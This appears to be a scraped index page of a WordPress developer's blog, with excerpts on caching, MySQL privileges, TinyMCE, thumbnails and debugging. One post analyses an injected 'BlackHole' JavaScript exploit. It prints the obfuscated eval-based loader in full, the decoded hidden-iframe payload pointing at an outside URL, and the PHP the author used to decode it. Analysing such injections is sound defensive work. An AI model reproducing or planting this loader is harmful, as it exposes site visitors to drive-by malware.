2013
02.11
02.11
For some months I’m wondering how can I create a memcached base reverse proxy infront of my apache, that supports namespaces, for easy cache purging…
After some days of playing I came up with the solution :)
Home of a WordPress Magic Man
For some months I’m wondering how can I create a memcached base reverse proxy infront of my apache, that supports namespaces, for easy cache purging…
After some days of playing I came up with the solution :)
As I’ve explained earlier here I’m working on an RSS based project, and I’ve got a request to rethink the feed processing method, and try to speed things up.
The first thing that come up, was to run a feed checker process that runs every two minutes.
So, how the scheduling works in WordPress? Read More >>
Today one of my client’s warned me, that he can access (and also create, modify, delete) an unknown database, which belongs to my other client. The problem was naming, because it was test_${domain}, and when I looked into privileges tab in phpMyAdmin it shows:
User |Host |Type |Privileges Any |% |wildcard: test\_% |SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, REFERENCES, INDEX, ALTER, CREATE TEMPORARY TABLES, LOCK TABLES
The strange is, that you cannot delete this privilege, because there’s no such user in the database.
So, the only solution is, that you should not name a database “test_%”
Today I ran into a quite intresting and both anoying issue around WordPress and TinyMCE.
One of my clients reported, that they can’t even do a linebreak in WYSIWYG editor in their backend site which was powered by WordPress. So, I had to look for a solution. The only thing I found was to install TinyMCE Advanced, that had an option called “Stop removing >p< and >br /< tags when saving”. Which did the trick.
But I just hate to install a plugin just for 6 lines of code, without using the main functionality. Read More >>
Or almost always.
Have you ever experienced after a theme switch, or a core upgrade that things don’t work the way they did, and your mighty thumbnail system gone? About a week ago I’ve updated a client’s website, form a pretty old WordPress to the latest one. And this upgrade was not painless at all. Because a plugin or a function disappeared from the admin.
This tiny function was to add thumbnails to a post, not the official WordPress post-thumbnail way, but a sneaky, hacky way. Maybe that’s the reason it’s gone forever. However there was a theme that relies on this functionality what should a bug thinker coder like me do?
Well the problem in technical terms was simple.
The theme is looking for a post meta for each post named ‘image’, this should contain not the full URL, but the relative path to the image, from the root installation directory.
But what should I do? Should I rewrite the whole theme, to use the standard WordPress ‘_thumbnail_id’ meta_key method? Or should I figure out something else?
Finally I came up with a solution, that maintains the compatibility with the old method, but let the admin use the standardized WordPress thumbnail system. Let’s go.
Read More >>
Today I ran into a problem according to wget and server error codes.
Actually I wanted to get the content-body inspite of the server status code.
Normally this should not happen, but in real situations we often get pages with status codes different from 200 and 302. For example if you have a php notice on the page, which is not visible, you can have 500 status code.
Read More >>
The BlackHole javascript exploit
1 2 3 | <!--c3284d--><script>try{1-prototype;}catch(asd){x=2;} if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));} if(x&&f&&012===10)e(s);</script><!--/c3284d--> |
And this code generates from the above lines
1 2 3 4 5 6 7 8 9 10 | function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://michaelmazur.net/xml.php"; ifrm.id = 'frmId'; document.body.appendChild(ifrm); }; window.onload = frmAdd; |
The PHP code I wrote for decoding that nasty code above
1 2 3 4 5 6 7 8 | <?php $w=array(4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,105,112,98,90,37,98,90,93,106,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105,103,90,22,21,52,22,23,95,106,105,103,48,36,38,99,94,90,94,86,92,98,98,88,112,106,105,36,99,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1); $s=''; for($i=0; 286-5+5-$i>0; $i++) { $s .= chr(($w[$i]*1+(9+($i%3)))); } |
Today I’ve searched through MySQL slow query log, and found some intresting log entries, like this:
1 2 3 4 5 6 | # Time: 120724 12:10:12 # User@Host: user[db] @ localhost [] # Query_time: 1.539405 Lock_time: 0.000140 Rows_sent: 1 Rows_examined: 15162 use db; SET timestamp=1343124612; SELECT p.* FROM wp_posts AS p WHERE p.post_date < '2012-07-06 17:42:00' AND p.post_type = 'post' AND p.post_status = 'publish' ORDER BY p.post_date DESC LIMIT 1; |
So this one tiny query took 1.5 seconds? What is this? It is essential for my site?
I just copy&paste a piece of raw code, just for myself, to find it easily.
So I’m using this method to track method calling order in applications/frameworks.
I add this to my code.
1 2 3 4 5 6 7 8 9 | function trackCode($e) { echo "<b>MSG:</b> " , $e->getMessage(); echo "<pre>"; print_r( $e->__toString() ); echo "</pre>"; } set_exception_handler('trackCode'); |
And add this to my mighty function, to know where are we:
1 | throw new Exception('Here is my code point'); |
About 2 years ago I’ve created an autoblog network for the company I work for.
At that time I’ve figured out, that it would be freakin’ nice if we just extend the RSS feed with the first image from the post’s attachments.
Here I’ll publish a simplified version of my original code, thus there were many customizations in that, what a normal user wouldn’t need.
I left there only one thing, which is the width management.